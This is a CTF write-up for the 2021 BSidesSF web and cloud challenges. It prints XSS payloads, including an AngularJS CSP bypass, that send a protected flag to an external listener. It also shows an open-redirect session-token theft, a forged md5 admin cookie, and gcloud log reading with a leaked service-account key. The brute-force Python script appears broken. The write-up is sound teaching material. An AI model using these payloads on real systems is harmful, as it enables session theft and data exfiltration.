2021 BSidesSF Writeup for Web and Cloud Challenges

Thank you to the organizers of BSidesSF, this was a great CTF! :D

This post covers (most) of the web and cloud challenges. This writeup covers CSP 1, CSP 2, Thin Mint, CuteSRV, Shout Into the Void, and Whole New Me.


Let’s start with the content security policy challenges, which I actually solved in reverse order.

The prompt is:

If we head over to https://csp-1-581db2b1.challenges.bsidessf.net/ we see this form. Our input will be sent to an admin, and we’re trying to read from /csp-one-flag.

If we check out our request in the Dev Tools network section, we can see the content security policy is as follows: content-security-policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'; script-src-elem 'self'; connect-src *

Side note, there’s a great CSP checker by Google, which helps highlight the most dangerous parts of your content security policy.

So we can do unsafe-inline, unsafe-eval, and script-src-elem is set to self… but not other types of elements? Let’s try <a> and <img> tags.

For the following screenshots, I set up a free endpoint on https://pipedream.com/.

This was just testing if I could send an external request when I clicked on the link.

<a href="#" onload="fetch('<pipedream endpoint>')">test</a>

If I go over to the endpoint tab, I can see that I received a response:

Note that for each attempt (that doesn’t involve a click), we’ll get an event from ourselves and also from the admin. This will be true in CSP2 as well.

Now I need to fetch the /csp-one-flag endpoint, turn it into text (or json) and then send it to my endpoint. The code for that is as follows:

<img src="#" onerror="fetch('https://csp-1-581db2b1.challenges.bsidessf.net/csp-one-flag').then(t => t.text()).then(d => {fetch('<pipedream endpoint>/?c='+d)})"/>

And ta-da, we have our flag!


Next up is CSP 2, which I solved first because I helped review a similar challenge for the Diana Initiative CTF last year.

Our prompt is:

If we head over to https://csp-2-f692634b.challenges.bsidessf.net/, we see:

Let’s check out the headers again to find out what the new CSP is.

content-security-policy: script-src 'self' cdnjs.cloudflare.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

We’ll want to use something similar to this Cloudflare CDN bypass.

The idea is that we use the allowlisted Cloudflare CDN to import an Angular script, then we can write Angular code that will be automatically executed.

It took some experimenting to realize that I needed to pull in two Angular scripts (which I verified were being loaded via the Dev Tools network view). Then, I can write some AngularJS to cause an alert() prompt.

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js" /></script>
<div ng-app ng-csp>

That worked!

Now I want to do the same thing as with CSP 1: fetch the flag URL, process it with .text(), and then send it to my listener.

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js" /></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('https://csp-2-f692634b.challenges.bsidessf.net/csp-two-flag').then(s => s.text()).then(d => { return fetch('<pipedream endpoint>/?c='+d)})") }}

Note that if your response doesn’t resolve to just {}, then you have some kind of syntactical error.

Now if we check our endpoint listener, we have the flag!


Next up is CuteSRV, which was adorable. Here’s our prompt:

When we open the website, we see:


When we click login, we’re actually going through this weird redirect thing.


The main part of the app is submitting (presumably image) URLs for the admin to review.

Anyway, I logged in with test/test, and then tried submitting a URL that was my pipedream listener (again).
I would see a request come through, but I couldn’t get the cookie through this method.

Then I remembered the redirect, and rewrote it so that it redirected them to my listener with the setsid value:

https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=<pipedream endpoint>/%2Fsetsid

That got me a value of authtok. I set that as a cookie value but it didn’t work. I realized that I needed to delete my loginsid cookie value and then set it with the admin value, instead of having a separate authtok cookie. Oops.

There’s a link in the HTML to flag.txt.

If we go there with our new cookie value:

Thin Mint

Here’s our prompt for Thin Mint:

If we go to the website, we see this message:

If we look at the cookies in Dev Tools, we see that there are two.

Okay, so let’s try setting the tm_admin cookie to 1. Nope, that didn’t do it.

The tm_user cookie value is 294de3557d9d00b3d2d8a1e6aab028cf. If we go to a site like Crack Station, we see that it’s an md5sum of anonymous.

Let’s try setting a value that’s an md5sum of… admin? Which is 21232f297a57a5a743894a0e4a801fc3.

Once we have updated those two cookies:

We’re able to see the flag!

Shout Into the Void

This was a cloud challenge that took me forever to make progress on because I missed robots.txt 🤦‍♀️ The prompt is:

When we visit the site, we see this:

We can send a message, which gets displayed on the page. I went in a lot of rabbit holes from here, including types of injection, looking at Google Trace, etc:

Turns out, I had missed robots.txt:

I used this gitdumper script to grab the Git repo. If we run git log, we see there are two commits:

$ git log
commit 8170c6c35cccffe0f9e2715fd7b81c832e5d9fd1
Author: corgi <corgi@corgiwoofwoof.com>
Date:   Fri Mar 5 19:55:42 2021 -0800

    clean up complete

commit 543e9d358dbd4276da5277291624d16fb8b9d56a
Author: corgi <corgi@corgiwoofwoof.com>
Date:   Fri Mar 5 19:55:00 2021 -0800

    remove this later

We want to check out the older commit:

$ git checkout 543e9d358dbd4276da5277291624d16fb8b9d56a
Note: checking out '543e9d358dbd4276da5277291624d16fb8b9d56a'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at 543e9d3... remove this later

Now there’s a file visible called booming-cosine-304921-5327fdaff786.json

$ ls

This file has all sorts of interesting info in it:

One of my teammates got the next part. You can use this json file to read logs from the booming-cosine project via gcloud:

$gcloud auth activate-service-account --key-file=app.json
$gcloud logging read "logName=projects/booming-cosine-304921/logs/appengine.googleapis.com%2Frequest_log" --format json | grep -A 10 -i CTF

From there, you’ll see a request to the flag URL at https://storage.googleapis.com/shout-into-void/1574AB2CB00533975094D87814BCF8FA707FD608-flag.txt

And there’s our flag:

Whole New Me

This was the other cloud challenge. The prompt hints at some kind of older version of the website:

The website is a blog of someone in SF:

If we look at the HTML we see this note about removing some kind of secret:

Using the Wappalyzer extension, I saw that this is a Google App Engine website. I looked around and found this Stack Overflow post about old versions of the website mistakenly showing up. One of the comments was:

http://[VERSION_ID]-dot-[YOUR_PROJECT_ID].appspot.com in your browser to check out a specific version. I think gcloud by default deploys to a new version-id each time without allocating traffic to it do you can check it out before migrating traffic over to it. And you should be deleting the old versions after you feel comfortable that your deploy was fine

Google documentation confirms that you can look at older versions of the website, provided that 1. they are still in the Google App Engine and 2. you know the version number.

The version number format is YYYYMMDDtHHDDmmm, which you then prepend to -dot-[app name all the way to .com]

The website says it was last updated on 2/28 at 1:52pm, so let’s use that as a rough ballpark for where we want to start our script. My teammate wrote this script, which checks each timestamps, second by second, and looks for the absence of the Corgi fix note, and the presence of the flag format.

import datetime
import requests

comment = '<!-- Corgi fix: remove the secret -->'
flag = 'CTF{'

date = datetime.datetime(2021, 2, 28, 13, 52)
while True:
    date = date - datetime.timedelta(seconds=1)
    url = date.strftime('https://%Y%m%dt%H%M%S-dot-bustling-bay-304920.wl.r.appspot.com/entry.html')
        r = requests.get(url)
        print('Error: ', date)

    if (flag in r.text) or (comment not in r.text) or (len(r.text) != 6293):

    # Sanity check to see where you're at
    if date.minute == 0:

    if date < datetime.datetime(2021, 1, 1, 0, 0):
        print('Get out of my swamp')

The correct timestamp was https://20210228t135033-dot-bustling-bay-304920.wl.r.appspot.com/ If we look at the HTML for the page, we see the flag:

Thanks again to the organizers!